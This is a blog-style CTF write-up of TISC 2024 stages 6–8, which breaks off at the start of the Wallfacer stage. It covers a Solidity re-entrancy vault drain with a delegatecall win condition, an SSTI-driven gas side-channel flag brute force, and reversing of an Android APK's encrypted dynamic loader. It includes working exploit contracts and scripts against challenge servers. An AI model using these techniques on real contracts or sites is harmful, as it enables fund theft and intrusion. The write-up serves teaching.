This is a continuation of my TISC writeups. This post will cover stage 6-9.

Noncevigator

We are given a Solidity smart contract Noncevigator.sol, with the challenge description:

1
2
3
It seems like our enemies may have hidden some of their treasures somewhere along in our little island, all secured by this blockchain technology.

We have heard rumours that to access the treasure, you must navigate to the correct location and possess the correct value of the "number used only once". This unique code is essential for unlocking the fortified gate guarding the treasure!

Together with the challenge name, the author is pretty clearly hinting at nonces. In the context of Ethereum smart contracts, the concept of nonces is most famous in its use for contract creation. Ethereum accounts can create contracts with the create EVM opcode. The address of the newly created contract is derived with: keccak256(rlp.encode([<account_address>, <nonce>]), where nonce starts at zero and is incremented with each contract creation.

Let’s take a look at the first of two contracts in the code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
pragma solidity ^0.8.19;

contract Noncevigator {

    mapping(string => address) private treasureLocations;
    mapping(string => bool) public isLocationOpen;
    address private travelFundVaultAddr;
    bool isCompassWorking;
    event TeasureLocationReturned(string indexed name, address indexed addr);

    constructor(address hindhedeAddr, address coneyIslandAddr, address pulauSemakauAddr, address tfvAddr) {
        travelFundVaultAddr = tfvAddr;
        treasureLocations["hindhede"] = hindhedeAddr;
        treasureLocations["coneyIsland"] = coneyIslandAddr;
        treasureLocations["pulauSemakau"] = pulauSemakauAddr;
        isLocationOpen["coneyIsland"] = true;
    }

    function getVaultLocation() public view returns (address) {
        return travelFundVaultAddr;
    }

    function getTreasureLocation(string calldata name) public returns (address) {
        address addr = treasureLocations[name];
        emit TeasureLocationReturned(name, addr);

        return addr;
    }

    function startUnlockingGate(string calldata _destination) public {
        require(treasureLocations[_destination] != address(0));
        require(msg.sender.balance >= 170 ether);
        
        (bool success, bytes memory retValue) = treasureLocations[_destination].delegatecall(abi.encodeWithSignature("unlockgate()"));
        require(success, "Denied entry!");
        require(abi.decode(retValue, (bool)), "Cannot unlock gate!");
    }

    function isSolved() external view returns (bool) {
        return isLocationOpen["pulauSemakau"];
    }
}

A contract Noncevigator’s constructor initializes its mappings with the function parameters. It exposes an isSolved() function that requires us to set isLocationOpen["pulauSemakau"] == true. Its default value is false. The contract also has a startUnlockingGate() function that enables the sender to trigger a delegatecall on one of the treasureLocations (keep in mind that these addresses are set upon the contract’s construction and are defined in the challenge server). delegatecall preserves the context of the original call, in this case Noncevigator.startUnlockingGate(), including the caller contract’s storage layout. This means that the callee can arbitrarily modify the caller contract’s member variables. While delegatecall has practical use cases, it is often introduced as a vulnerability in CTF challenges. In this case, it can trivially set isLocationOpen["pulauSemakau"], achieving our win condition.

However, in calling startUnlockingGate(), there is a check that the sender’s balance is greater that 170 ether, which is more than the player starts with (around 10 ether). This is where the second contract comes into play.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
contract TravelFundvault {

    mapping (address => uint256) private userBalances;

    constructor() payable {
        require(msg.value == 180 ether, "Initial funding of 180 ether required");
    }

    function deposit() external payable {
        userBalances[msg.sender] += msg.value;
    }

    function withdraw() external {
        uint256 balance = getUserBalance(msg.sender);
        require(balance > 0, "Insufficient balance");

        (bool success, ) = msg.sender.call{value: balance}("");
        require(success, "Failed to withdraw Ether");

        userBalances[msg.sender] = 0;
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }

    function getUserBalance(address _user) public view returns (uint256) {
        return userBalances[_user];
    }
}

This contract defines a vault with a classic vulnerability in withdraw(). The function does not follow the recommended Checks-Effects-Interactions pattern, making it vulnerable to a re-entrancy attack. The function first checks whether the caller has sufficient balance for a withdrawal. Then, the interaction happens as it sends the eth back to the caller. At the end, the function performs its effects and sets the user’s balance to zero. The vulnerability lies in the fact that during the interaction, after the vault transfers the eth but before the vault updates the caller’s balance, the caller can call withdraw() again. Since the caller’s balance has not been zeroed, the subsequent call to withdraw() will send the caller its balance again. This can be repeated until the vault is drained.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
contract Solver {
    address player;
    address challenge_addr;
    Noncevigator nonce;
    TravelFundvault vault;

    constructor(address challenge_addr_) {
        challenge_addr = challenge_addr_;
        player = tx.origin;
        nonce = Noncevigator(challenge_addr);
        vault = TravelFundvault(nonce.getVaultLocation());
    }
    
	function deposit() public payable returns (bool) {
        return true;
    }

    function drain() public {
        vault.deposit{value: 9.8 ether}();
        vault.withdraw();
    }

    fallback() external payable {
        if (address(this).balance < 170 ether) {
            vault.withdraw();
        }
    }
}

contract SolveTisc is Script {
    address challenge_addr = 0x38EF198b25DF6482E80823A5DBFeDA00811CE8a4;
    function run() public {
        vm.startBroadcast();
        Solver s = new Solver(challenge_addr);
        // use a separate function to avoid triggering the fallback
        s.deposit{value: address(tx.origin).balance}();
        // some issues with gas estimation on remote, so we specify the gas
        address(s).call{gas: 0x6f46b0}(abi.encodeWithSignature("drain()"));
    }
}

So, we can now call startUnlockingGate(), but without control over the treasureLocations addresses, we cannot define the contract code to be run during the delegatecall. The last piece of the puzzle is the earlier hint about nonces. When I was solving this challenge, this blog post about keyless ether came to mind. In a nutshell, you can precalculate the resultant addresses for contracts created by your account and send ether to that address. This ether will be hidden since the associated account does not exist yet. I immediately suspected that this was the technique the challenge author was using. I wrote up a POC script to test this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
contract Solver {
[...]
    function futureAddresses(address target, uint8 nonce_) public view returns (address) {
        bytes memory prefix = hex"d694";
        bytes20 thisAddress = bytes20(target);
        
        if(nonce_ == 0) {
            return address(uint160(uint256(keccak256(abi.encodePacked(prefix, thisAddress, hex"80")))));
        }
        return address(uint160(uint256(keccak256(abi.encodePacked(prefix, thisAddress, nonce_)))));
    }

    function info() public {
        address hindhede_addr = nonce.getTreasureLocation("hindhede");
        address coney_addr = nonce.getTreasureLocation("coneyIsland");
        address pulau_addr = nonce.getTreasureLocation("pulauSemakau");

        for (uint8 i = 0; i < 255; i++) {
            address target = futureAddresses(player, i);
            if (target == hindhede_addr || target == coney_addr || target == pulau_addr) {
                console.log(i);
	            if (target == hindhede_addr) {
		            console.log("hindhede");
	            } else if (target == coney_addr) {
		            console.log("coney");
	            } else {
		            console.log("pulau");
	            }
            }
        }
    }
}

Empirically, we find that the treasureLocations["pulauSemakau"] contract address always coincides with the resultant address of a contract that the player can create. The exact contract roughly ranges from the 35th to 50th new contract creation. We can create a skeleton contract that sets the win condition to be true when called via delegatecall, and run a script to deploy around 50 of these contracts.

1
2
3
4
5
6
7
8
9
10
11
12
13
contract Fake {
	// Use the same storage layout
    mapping(string => address) private treasureLocations;
    mapping(string => bool) public isLocationOpen;
    address private travelFundVaultAddr;
    bool isCompassWorking;
    event TeasureLocationReturned(string indexed name, address indexed addr);

    function unlockgate() public returns (bool) {
        isLocationOpen["pulauSemakau"] = true;
        return true;
    }
}


1
2
3
4
5
#!/bin/bash
for i in {1..50}
do
  forge create --rpc-url http://chals.tisc24.ctf.sg:47156/e14619ef-3151-4d41-9f45-86b4d1ea2214 --private-key 0xed3c0a313241e0892d0186cd2c89aca527f3d525ba8d42dc51ebcd78070cd8d4 --legacy src/tisc.sol:Fake
done

After previously draining the vault, all that is left is to call startUnlockingGate with "pulauSemakau" as the argument, triggering the delegatecall, and satisfying the win condition.

Flag: TISC{ReeN7r4NCY_4ND_deTerminI5TIc_aDDReSs}

This is the sixth level of TISC. When competitors reach this stage, they can choose between two tracks: Rev and Cloud/Web. While this is a Solidity smart contract challenge (with source), it was strangely classified under the Rev track.

While “keyless ether” is not a very well-known technique, the structure of the startUnlockingGate() function provides a hint. A precondition to triggering the delegateCall() exploit is the ability to control one of the treasureLocations addresses. Since it is unlikely that the author would add a delegateCall() that cannot be triggered, we know that there must be a way to control the contract code at one of the treasureLocations addresses. This sort of meta-analysis can often signpost the intended solution in CTF challenges.

Baby Flagchecker

This a reversing challenge with elements of Web3 and Web. We are given a URL http://chals.tisc24.ctf.sg:52416/ and some of its source in baby_flagchecker.zip. Visiting the site, we are greeted with a keyphrase checker. Upon submitting an input, we are redirected to a results page that tells us the input is invalid. Presumably, only entering the flag would register as a valid input.

The source comprises of a front-facing Flask app server and a FastAPI backend server. The app server handles the form submissions, and sends a request to the backend to check the flag. Here is the Flask app’s source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
@app.route('/submit', methods=['POST'])
def submit():
    password = request.form['password']
    try:
        if len(password) > 32:
            return render_template_string("""
        <!DOCTYPE html>
            <html lang="en">
            <head>
                <meta charset="UTF-8">
                <meta name="viewport" content="width=device-width, initial-scale=1.0">
                <title>Check Result</title>
            </head>
            <body>
                <h1>Keyphrase too long!</h1>
                <a href="/">Go back</a>
            </body>
        </html>
        """)

        response = requests.post("http://server:5000/check", json={"password": password})
        response_data = response.json()

        return render_template_string("""
        <!DOCTYPE html>
            <html lang="en">
            <head>
                <meta charset="UTF-8">
                <meta name="viewport" content="width=device-width, initial-scale=1.0">
                <title>Check Result</title>
                <style>
                    body, html {
                        height: 100%;
                        margin: 0;
                        font-family: Arial, sans-serif;
                        display: flex;
                        justify-content: center;
                        align-items: center;
                        text-align: center;
                    }
                    .container {
                        display: flex;
                        flex-direction: column;
                        align-items: center;
                    }
                    a {
                        padding: 10px 20px;
                        text-decoration: none;
                        background-color: #007bff;
                        color: white;
                        border-radius: 5px;
                    }
                    a:hover {
                        background-color: #0056b3;
                    }
                </style>
            </head>
            <body>
                <div class="container">
                    <p>Result for """ + password + """:</p>
                    
                    <h1>Invalid</h1>
                    
                    <a href="/">Go back</a>
                </div>
            </body>
        </html>
        """, response_data=response_data)
    except Exception as e:
        return str(e)

There is a trivial SSTI as the route handler uses render_template_string with unescaped user input (password). We can use the payload `` to leak the response_data from the context. This returns:

1
Result for {'output': False, 'setup_contract_address': '0x9fE46736679d2D9a65F0992F2272dE9f3c7fa6e0', 'setup_contract_bytecode': '0x6080...', 'adminpanel_contract_bytecode': '0x6085...', 'secret_contract_bytecode': '0xREDACTED', 'gas': 29307}:

I didn’t include the whole setup_contract_address and setup_contract_bytecode as they are very long.

\

The SSTI payload is limited to 32 characters as the password’s length is checked at the start of the function. This prevents us from using typical SSTI payloads to achieve RCE.

Looking at the backend server’s source, this corresponds to the output from the backend’s /check request handler:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
@app.post("/check")
async def check(password_input: PasswordInput):
    password = password_input.password
    
    try:
        web3_client = connect_to_anvil()
        setup_contract = init_setup_contract(web3_client)
        output_json = call_check_password(setup_contract, password)

        return output_json
    except RuntimeError as e:
        raise HTTPException(status_code=500, detail=str(e))

def call_check_password(setup_contract, password):
    # Call checkPassword function
    passwordEncoded = '0x' + bytes(password.ljust(32, '\0'), 'utf-8').hex()

    # Get result and gas used
    try:
        gas = setup_contract.functions.checkPassword(passwordEncoded).estimate_gas()
        output = setup_contract.functions.checkPassword(passwordEncoded).call()
        logger.info(f'Gas used: {gas}')
        logger.info(f'Check password result: {output}')
    except Exception as e:
        logger.error(f'Error calling checkPassword: {e}')

    # Return debugging information
    return {
        "output": output,
        "contract_address": setup_contract.address,
        "setup_contract_bytecode": os.environ['SETUP_BYTECODE'],
        "adminpanel_contract_bytecode": os.environ['ADMINPANEL_BYTECODE'],
        "secret_contract_bytecode": os.environ['SECRET_BYTECODE'],
        "gas": gas
    }

connect_to_anvil() and init_setup_contract() are boilerplate functions with no interesting behaviour.


The call_check_password uses the web3 Python library to interface with the deployed contract, calling its checkPassword function with the provided password. The function returns the result of calling the contract function, as well as some debugging information. From our SSTI leak, we managed to leak the setup contract bytecode and the admin panel contract bytecode. Let’s try to figure out what these contracts do.

When I was trying this challenge, I decided to reverse the admin panel bytecode first since its name was more suggestive of interesting behaviour (and it was also considerably shorter!). I used the EtherVM decompiler but its decompilation didn’t reveal much. Instead, I had to analyze the disassembly directly. Let’s skip the contract constructor and dive right into the main function:

1
2
3
	0009    5F    PUSH0
	000A    35    CALLDATALOAD
	000B    80    DUP1

The function starts by loading 32 bytes of the calldata, starting from offset 0, onto the stack, and duplicates it. The calldata includes the function selector and the function parameters.

1
2
3
4
	000C    60    PUSH1 0xd8
	000E    1C    SHR
	000F    64    PUSH5 0x544953437b
	0015    14    EQ

It then isolates the first 5 bytes of the calldata using a bitshift and compares it against 0x544953437b, which is hex for "TISC{". The result of the comparison is stored on the stack.

1
2
3
4
5
6
7
	0016    81    DUP2
	0017    60    PUSH1 0x80
	0019    1B    SHL
	001A    60    PUSH1 0xf8
	001C    1C    SHR
	001D    60    PUSH1 0x7d
	001F    14    EQ

It then isolates the 17th byte of the calldata using bitshifts and compares it against 0x7d, which is hex for "}". This section of the code seems to check whether the input correctly matches the flag format. This suggests that the flag is 17 characters long, with the first four and last one being part of the flag format. This also implies that the input to this function is in plaintext. This is useful information since it tells us that the input to this function has likely not been first manipulated by another contract (which would require us to reverse that contract as well).

1
2
3
4
5
6
7
8
9
	0020    01    ADD
	0021    60    PUSH1 0x02
	0023    14    EQ
	0024    61    PUSH2 0x0022
	0027    57    *JUMPI
	0028    5F    PUSH0
	0029    5F    PUSH0
	002A    FD    *REVERT
	002B    5B    JUMPDEST

This final section adds the results of the two previous EQ checks. If they were both equal, the result would be 0x02, which triggers a jump. Note that the function starts at offset 0x09 in the disassembler because of the initial constructor code, so we should add 0x09 to all jump targets to find their address in the disassembly. In this case, the jump to 0x0022 actually corresponds to the JUMPDEST at 0x002B. If the check fails, the function reverts, terminating execution.

So far, this contract looks like it contains the flag checking logic. Let’s continue our analysis.

1
2
	002C    60    PUSH1 0x04
	002E    35    CALLDATALOAD

If that the input’s prefix and suffix are correct, the contract then loads the calldata onto the stack, starting from index 4. This would be 13 characters long, corresponding with {**********}.

The next section of the code uses some memory values, performs a DELEGATECALL and adds the result of the call to the top of the stack. Since the server is using a private testnet (hosted locally using Anvil), there is little point in fully unpacking what is going on here as we cannot analyze the target contract regardless.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
	002F    60    PUSH1 0x98
	0031    63    PUSH4 0x6b35340a
	0036    60    PUSH1 0x60
	0038    52    MSTORE
	0039    60    PUSH1 0x20
	003B    60    PUSH1 0x60
	003D    20    SHA3
	003E    90    SWAP1
	003F    1B    SHL
	0040    18    XOR
	0041    60    PUSH1 0x24
	0043    35    CALLDATALOAD
	0044    63    PUSH4 0x66fbf07e
	0049    60    PUSH1 0x20
	004B    52    MSTORE
	004C    60    PUSH1 0x20
	004E    5F    5F
	004F    60    PUSH1 0x04
	0051    60    PUSH1 0x3c
	0053    84    DUP5
	0054    5A    GAS
	0055    F4    DELEGATECALL
	0056    50    POP
	0057    5F    5F
	0058    51    MLOAD

Looking at it now, it looks like it is constructing the target contract’s address using SHA3 (or Keccak256) and bit operations.

The next three instructions are a loop prologue.

1
2
3
	0059    5F    5F
	005A    5F    5F
	005B    5B    JUMPDEST
1
2
3
4
5
6
7
8
9
	005C    82    DUP3
	005D    82    DUP3
	005E    1A    BYTE
	005F    85    DUP6
	0060    83    DUP4
	0061    1A    BYTE
	0062    14    EQ
	0063    61    PUSH2 0x0070
	0066    57    *JUMPI

Entering the loop body, we see that two bytes are being compared. The BYTE opcode is used to retrieve a byte from memory at a specific offset. If the two bytes are identical, we jump to 0x0079. If the bytes aren’t identical, we continue with the following code:

1
2
3
4
5
6
7
8
9
10
11
12
	0067    5B    JUMPDEST
	0068    90    SWAP1
	0069    60    PUSH1 0x01
	006B    01    ADD
	006C    80    DUP1
	006D    60    PUSH1 0x0d
	006F    14    EQ
	0070    61    PUSH2 0x0078
	0073    57    *JUMPI
	0074    90    SWAP1
	0075    61    PUSH2 0x0052
	0078    56    *JUMP

This increments a counter by one, then checks if it equals 0x0d (or 13). If it is equal, we jump to 0x0081, otherwise we resume the loop by jumping backwards. This looks like the condition check for a for loop, which presumably iterates over all 13 characters from earlier.

Next, we get to the jump destination for the case where the bytes compared earlier were equal.

1
2
3
4
5
	0079    5B    JUMPDEST
	007A    60    PUSH1 0x01
	007C    01    ADD
	007D    61    PUSH2 0x005e
	0080    56    *JUMP

This increments a separate counter and then unconditionally jumps back into the loop.

At this point, I was reminded of the classic reversing challenges that were solvable via instruction counting. Such challenges usually transform the user’s input, then compare it against a desired value byte by byte, terminating upon the first difference. This is vulnerable to a side-channel attack – we can figure out if the first byte is correct if the program makes two iterations of the byte-checking loop instead of just one. In this manner, we can brute-force the input byte by byte until we recover the flag.

In this case, we have a similar side-channel available. Instead of directly counting instructions using something like Intel’s Pin, the gas consumed by a contract provides information about the number of instructions run. Each instruction in the EVM consumes a specific amount of gas. Given that there is a branch when the byte-equality check passes, the number and type of instructions executed necessarily differs on equality. Importantly, we can leak the gas consumed by the contract using the SSTI from earlier. This gives us our attack plan: brute-force the flag while leaking the gas consumed using the SSTI, use a payload like TISC{Axxxxxxxxxx}. However, this payload exceeds the input length limit of 32. Then, I realized that the first four bytes of calldata are usually reserved for the function selector, so it would not be surprising if they were set by the caller function. Removing the TISC characters bring our payload down to 30 characters, just under the limit.

Finally, we just need to write a script to perform the brute-forcing. Here is my Python solution:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import requests
import html
import string

url = "http://chals.tisc24.ctf.sg:52416/"

def get_leak(inp):
    delim1 = "<p>Result for "
    inp = inp[inp.find(delim1)+len(delim1):]
    delim2 = "</p>"
    inp = inp[:inp.find(delim2)-1]
    return html.unescape(inp)

def get_gas(inp):
    delim1 = "'gas': "
    inp = inp[inp.find(delim1)+len(delim1):]
    delim2 = "}"
    inp = inp[:inp.find(delim2)]
    return inp

dictionary = string.ascii_letters + string.digits + string.punctuation
blacklist = r"#%{}"
dictionary = list(filter(lambda x: x not in blacklist, dictionary))

payload = r"{XXXXXXXXXXX}  "
for pos in range(1, 13-1):
    gas = None
    for i, letter in enumerate(dictionary):
        guess = payload[:pos] + letter + payload[pos + 1:]
        r = requests.post(f"{url}submit", data={
            "password": guess
        })

        leak = get_leak(r.text)
        if gas is None:
            gas = get_gas(leak)
            continue
        if get_gas(leak) < gas:
            payload = payload[:pos] + dictionary[0] + payload[pos + 1:]
            break
        elif get_gas(leak) > gas:
            payload = guess
            break
    
    else:
        assert False  # brute-force fail

print(payload)

Adding the TISC header to the recovered keyphrase gives us the flag: TISC{g@s_Ga5_94S}

During the CTF, I quickly spotted the for loop and pieced together the gas side-channel attack, so my rev was actually a lot less methodical then presented here. For completeness, analyzing the setup contract’s bytecode reveals that it is likely a proxy contract, using the admin panel contract as its implementation and the secret contract to control updates to the implementation.

Wallfacer

1
It seems to be an app that stores user data, but doesn’t seem to do much other than that... The other agent who recovered this said he heard them say something about parts of the app are only loaded during runtime, hiding crucial details.

We are provided with a wallfacer-x86_64.apk.

Launching the APK with Android Studio, we are presented with the following screen: For reference, this is using the Pixel 8 Android Virtual Device on API level 34.


We can enter text into the input box and submit it, but nothing happens. Let’s open up the APK in Jadx. Here is the MainActivity:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package com.wall.facer;

import android.os.Bundle;
import android.view.View;
import android.widget.EditText;

/* loaded from: classes.dex */
public class MainActivity extends C0 {
    public EditText y;

    @Override // defpackage.C0, defpackage.O3, android.app.Activity
    public final void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        setContentView(R.layout.activity_main);
        this.y = (EditText) findViewById(R.id.edit_text);
    }

    public void onSubmitClicked(View view) {
        Storage.getInstance().saveMessage(this.y.getText().toString());
    }
}

As per the challenge description, there doesn’t seem to be much functionality in the app. Since the description mentions runtime loading – which is likely used as an obfuscation technique – let’s look for that. Two typical ways of performing runtime loading are loading resources obtained from a remote server and loading resources packaged within the app. For the former method, the remote server URL can likely be found in the app’s string resources file. Looking through res/values/strings.xml, we don’t find any URLs but we find the following interesting strings:

1
2
3
4
base: d2FsbG93aW5wYWlu (b64 wallowinpain)
dir: ZGF0YS8 (b64 data/)
filename: c3FsaXRlLmRi (b64 sqlite.db)
str: 4tYKEbM6WqQcItBx0GMJvssyGHpVTJMhpjxHVLEZLVK6cmIH7jAmI/nwEJ1gUDo2 (unknown)

There are a few suggestively named base64 encoded strings, as well as a string that is of an unknown format.

Next, looking through the app’s assets, some suspicious ones stand out.

There are 9 files sharing a common naming convention under assets/data of an unknown data format. The sqlite.db file does have a SQLite format 3 file header, but attempts to parse the database reveals that it is not a real database file. Especially interesting is the fact that there are references to these files from the base64 encoded strings earlier (data/ and sqlite.db), suggesting that this is part of an obfuscation technique.

In order to figure out where these resources are used, we can look for usages of getAssets(), which is commonly used to access resources in the /assets folder. One of the references lies in this function (variables renamed by me):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public static ByteBuffer K(Context context, String str) {
	int idx;
	InputStream open = context.getAssets().open(str);
	ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
	byte[] bArr = new byte[1024];
	while (true) {
		int read = open.read(bArr);
		if (read == -1) {
			break;
		}
		byteArrayOutputStream.write(bArr, 0, read);
	}
	open.close();
	byte[] file_contents = byteArrayOutputStream.toByteArray();
	byte[] key = new byte[128];
	byte[] length_arr = new byte[4];
	System.arraycopy(file_contents, 4096, length_arr, 0, 4);
	int length = ByteBuffer.wrap(length_arr).getInt();
	byte[] buffer = new byte[length];
	System.arraycopy(file_contents, 4100, buffer, 0, length);
	System.arraycopy(file_contents, 4100 + length, key, 0, 128);
	C0289q1 c0289q1 = new C0289q1(key);
	byte[] output = new byte[length];
	int i2 = 0;
	int i3 = 0;
	for (idx = 0; idx < length; idx++) {
		i2 = (i2 + 1) & 255;
		byte[] bArr2 = (byte[]) c0289q1.c;
		byte b2 = bArr2[i2];
		i3 = (i3 + (b2 & 255)) & 255;
		bArr2[i2] = bArr2[i3];
		bArr2[i3] = b2;
		output[idx] = (byte) (bArr2[(bArr2[i2] + b2) & 255] ^ buffer[idx]);
	}
	return ByteBuffer.wrap(output);
}

This function takes a filename as a parameter and reads its contents into a buffer. It skips the first 4096 bytes, then uses the next 4 bytes to determine the length of the payload. The next length bytes are then read into buffer for further processing. The final 128 bytes are used as a key. The for loop resembles an RC4 decryption process. We can guess that this function is called on sqlite.db, which would explain why the first section of the file contains the invalid database data. We can use a Python script to perform the same decryption process:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import struct
from Crypto.Cipher import ARC4

def construct():
    input_filename = "sqlite.db"
    output_filename = "constructed"
    with open(input_filename, "rb") as f:
        chars = f.read()
        sz = struct.unpack(">i", chars[4096:4100])[0]
        buf = chars[4100:4100+sz]
        iv = chars[4100+sz:4100+sz+128]

        cipher = ARC4.new(iv)
        plaintext = cipher.decrypt(buf)

		with open(output_filename, "wb") as g:
			g.write(plaintext)

This outputs a dex file, which we can further analyze in Jadx.

1
2
$ file constructed 
constructed: Dalvik dex file version 035
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package defpackage;

import android.content.Context;
[...] // other imports

public class DynamicClass {
    static final /* synthetic */ boolean $assertionsDisabled = false;
    private static final String TAG = "TISC";

    public static native void nativeMethod();

    public static void dynamicMethod(Context context) throws Exception {
        pollForTombMessage();
        Log.i(TAG, "Tomb message received!");
        File generateNativeLibrary = generateNativeLibrary(context);
        try {
            System.load(generateNativeLibrary.getAbsolutePath());
        } catch (Throwable th) {
            String message = th.getMessage();
            message.getClass();
            Log.e(TAG, message);
            System.exit(-1);
        }
        Log.i(TAG, "Native library loaded!");
        if (generateNativeLibrary.exists()) {
            generateNativeLibrary.delete();
        }
        pollForAdvanceMessage();
        Log.i(TAG, "Advance message received!");
        nativeMethod();
    }

    private static void pollForTombMessage() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Class<?> cls;
        do {
            SystemClock.sleep(1000L);
            cls = Class.forName("com.wall.facer.Storage");
        } while (!DynamicClass$$ExternalSyntheticBackport1.m((String) cls.getMethod("getMessage", new Class[0]).invoke(cls.getMethod("getInstance", new Class[0]).invoke(null, new Object[0]), new Object[0]), "I am a tomb"));
    }

    private static void pollForAdvanceMessage() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Class<?> cls;
        do {
            SystemClock.sleep(1000L);
            cls = Class.forName("com.wall.facer.Storage");
        } while (!DynamicClass$$ExternalSyntheticBackport1.m((String) cls.getMethod("getMessage", new Class[0]).invoke(cls.getMethod("getInstance", new Class[0]).invoke(null, new Object[0]), new Object[0]), "Only Advance"));
    }

[...]

This reveals a DynamicClass, which exposes a dynamicMethod. The method first waits for the user to enter the message "I am a tomb" using pollForTombMessage(). Next, it loads a native library using generateNativeLibrary() (analyzed below) and awaits the message "Only Advance", which triggers execution of nativeMethod. Native libraries are libraries written in C or C++ and are often used to obfuscate code execution in Android malware. nativeMethod is likely a function defined by the native library. Let’s look at how the native library is generated:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
[...]
    public static File generateNativeLibrary(Context context) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException {
        AssetManager assets = context.getAssets();
        Resources resources = context.getResources();
        String dir_name = new String(Base64.decode(resources.getString(resources.getIdentifier("dir", "string", context.getPackageName())) + "=", 0));
        String[] filenames = assets.list(dir_name);
        Arrays.sort(filenames, new Comparator() { // from class: DynamicClass$$ExternalSyntheticLambda3
            @Override // java.util.Comparator
            public final int compare(Object obj, Object obj2) {
                return DynamicClass.lambda$generateNativeLibrary$0((String) obj, (String) obj2);
            }
        });
        String base_fn = new String(Base64.decode(resources.getString(resources.getIdentifier("base", "string", context.getPackageName())), 0));
        File file = new File(context.getFilesDir(), "libnative.so");
        Method decrypt = Class.forName("Oa").getMethod("a", byte[].class, String.class, byte[].class);
        FileOutputStream fileOutputStream = new FileOutputStream(file);
        try {
            for (String filename : filenames) {
                InputStream open = assets.open(dir_name + filename);
                byte[] file_contents = open.readAllBytes();
                open.close();
                fileOutputStream.write((byte[]) decrypt.invoke(null, file_contents, base_fn, Base64.decode(filename.split("\\$")[1] + "==", 8)));
            }
            fileOutputStream.close();
            return file;
        } catch (Throwable th) {
            try {
                fileOutputStream.close();
            } catch (Throwable th2) {
                Throwable.class.getDeclaredMethod("addSuppressed", Throwable.class).invoke(th, th2);
            }
            throw th;
        }
    }

    /* JADX INFO: Access modifiers changed from: package-private */
    public static /* synthetic */ int lambda$generateNativeLibrary$0(String str, String str2) {
        return DynamicClass$$ExternalSyntheticBackport0.m(Integer.parseInt(str.split("\\$")[0]), Integer.parseInt(str2.split("\\$")[0]));
    }
}

The function iterates over a sorted list of the files in the directory from the "dir" string, which we have found to be data/ from earlier. The files in this directory follow the naming convention of <number>$<random string>. The random string is used as a key for the decryption method decrypt to operate on the file’s contents. The decryption result being appended to the output file libnative.so. The decrypt method actually belongs to a class Oa that is defined in the original APK.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class Oa {
    public static byte[] a(byte[] bArr, String str, byte[] bArr2) {
        byte[] b = b(str, bArr2);
        Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
        byte[] bArr3 = new byte[12];
        int length = bArr.length - 12;
        byte[] bArr4 = new byte[length];
        System.arraycopy(bArr, 0, bArr3, 0, 12);
        System.arraycopy(bArr, 12, bArr4, 0, length);
        cipher.init(2, new SecretKeySpec(b, "AES"), new GCMParameterSpec(128, bArr3));
        return cipher.doFinal(bArr4);
    }

    private static byte[] b(String str, byte[] bArr) {
        return SecretKeyFactory.getInstance("PBKDF2WithHmacSHA256").generateSecret(new PBEKeySpec(str.toCharArray(), bArr, 16384, 256)).getEncoded();
    }
}

The decryption uses the AES-GCM algorithm. We can re-implement the entire decryption process in Python to reconstruct libnative.so.

One thing to note is that the decompiled code sees usage of the method Base64.decode() with the flag 8. This flag indicates that URL-safe decoding should be used instead.

Alternatively, we can obtain libnative.so from running the APK in Android Studio and extracting it from the AVD’s files. IDA provides a nice decompilation:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
__int64 __fastcall Java_DynamicClass_nativeMethod(__int64 a1)
{
  unsigned int v1; // eax
  unsigned int v2; // eax
  int v4; // [rsp+Ch] [rbp-14h]

  __android_log_print(
    3LL,
    (__int64)"TISC",
    "There are walls ahead that you'll need to face. They have been specially designed to always result in an error. One "
    "false move and you won't be able to get the desired result. Are you able to patch your way out of this mess?");
  v1 = first();
  v2 = second(v1);
  v4 = third(a1, v2);
  return decrypt(a1, v4);
}

Functions and variables have been renamed


The method calls three functions which serve as checks. The result from each check is fed into the next check so it is likely that we need to execute all checks and pass them. If we pass all the checks successfully, the function decrypt does the following:

1
2
    __android_log_print(3LL, "TISC", "The key is: %s", *v62);
    __android_log_print(3LL, "TISC", "The IV is: %s", *v148);

The function decrypt is very long, containing many string and bitwise operations. I did not reverse the function but it empirically outputs different keys and IVs depending on its parameters. Presumably, we need to pass all three checks in order to receive the correct key and IV.

Let’s take a look at the three checks, starting from first():

1
2
3
4
5
